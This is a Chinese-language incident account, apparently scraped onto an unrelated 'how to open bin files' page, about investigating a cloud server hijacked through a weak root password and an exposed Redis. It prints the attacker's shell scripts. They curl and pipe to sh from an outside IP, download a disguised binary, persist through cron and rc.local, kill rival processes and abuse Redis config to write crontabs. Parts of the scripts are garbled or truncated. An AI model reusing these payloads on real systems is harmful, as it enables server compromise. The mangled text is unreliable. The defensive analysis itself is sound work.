bin文件怎么打开(电脑bin文件怎么打开)

  https://bbs.pediy.com/thread-225163.htm

  不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。

  我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。

  让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不足 8 位的小白密码,心里一凉:被黑了!

  查找线索

  服务器系统 CentOS 6.X,部署了 Nginx,Tomcat,Redis 等应用,上来先把数据库全备份到本地,然后 Top 命令看了一下,有 2 个 99% 的同名进程还在运行,叫 gpg-agentd。

  Google 了一下 GPG,结果是:GPG 提供的 gpg-agent 提供了对 SSH 协议的支持,这个功能可以大大简化密钥的管理工作。

  看起来像是一个很正经的程序嘛,但仔细再看看服务器上的进程后面还跟着一个字母 d,伪装的很好,让人想起来 Windows 上各种看起来像 svchost.exe 的病毒。

  继续排查:

  ps eho command -p 23374netstat -pan | grep 23374

  查看 pid:23374 进程启动路径和网络状况,也就是来到了图 1 的目录,到此已经找到了黑客留下的二进制可执行文件

  接下来还有 2 个问题在等着我:

  文件是怎么上传的?

  这个文件的目的是什么,或是黑客想干嘛?

  History 看一下,记录果然都被清掉了,没留下任何痕迹。继续命令 more messages:

  看到了在半夜 12 点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意,下面详细讲。

  边找边猜,如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务:

  crontab -e

  果然,线索找到了。

  作案动机

  上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本,并且执行这个脚本。

  我们把脚本下载下来看一下:

  curl -fsSL 159.89.190.243/ash.php 》 ash.sh

  脚本内容如下:

  uname -a

  id

  hostname

  setenforce 0 2》/dev/null

  ulimit -n 50000

  ulimit -u 50000

  crontab -r 2》/dev/null

  rm -rf /var/spool/cron15 * * * * curl -fsSL 159.89.190.243/ash.php|sh’ 》 /var/spool/cron/root

  echo ‘*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh’ 》 /var/spool/cron/crontabs/root

  yum install -y bash 2》/dev/null

  apt install -y bash 2》/dev/null

  apt-get install -y bash 2》/dev/null

  bash -c ‘curl -fsSL 159.89.190.243/bsh.php|bash’ 2》/dev/null

  大致分析一下该脚本的主要用途:首先是关闭 SELinux,解除 Shell 资源访问限制,然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公钥。

  这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多。

  接下来安装 Bash,最后是继续下载第二个脚本 bsh.php,并且执行。继续下载并分析 bsh.pbp,内容如下:

  sleep $( seq 3 7 | sort -R | head -n1 )

  cd /tmp || cd /var/tmp

  sleep 1

  mkdir -p .ICE-unix/。.. && chmod -R 777 .ICE-unix && cd .ICE-unix/。..

  sleep 1

  if [ -f .watch ]; then

  rm -rf .watch

  exit 0

  fi

  sleep 1

  echo 1 》 .watch

  sleep 1

  ps x | awk ‘!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}’ | xargs kill -9 2》/dev/null

  ps x | awk ‘!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}’ | xargs kill -9 2》/dev/null

  sleep 1

  if ! [ -x /usr/bin/gpg-agentd ]; then

  curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db

  echo ‘/usr/bin/gpg-agentd’ 》 /etc/rc.local

  echo ‘curl -fsSL 159.89.190.243/ash.php|sh’ 》》 /etc/rc.local

  echo ‘exit 0’ 》》 /etc/rc.local

  fi

  sleep 1

  chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd

  sleep 1

  if ! [ -x “$(command -v masscan)” ]; then

  rm -rf /var/lib/apt/lists2 * * * * curl -fsSL | sh

  ”’ 》》 .dat

  echo ‘set backup2 “

  */3 * * * * wget -q -O- | sh

  ”’ 》》 .dat

  echo ‘set backup3 “

  */4 * * * * curl -fsSL | sh

  ”’ 》》 .dat

  echo ‘set backup4 “

  */5 * * * * wget -q -O- | sh

  ”’ 》》 .dat

  echo ‘config set dir “/var/spool/cron/”’ 》》 .dat

  echo ‘config set dbfilename “root”’ 》》 .dat

  echo ‘save’ 》》 .dat

  echo ‘config set dir “/var/spool/cron/crontabs”’ 》》 .dat

  echo ‘save’ 》》 .dat

  sleep 1

  【光粒网综合报道】( 责任编辑:weixiang )

  • 121 views
    A+
发布日期:2021年10月28日 18:20:52  所属分类:网络推广
标签:  |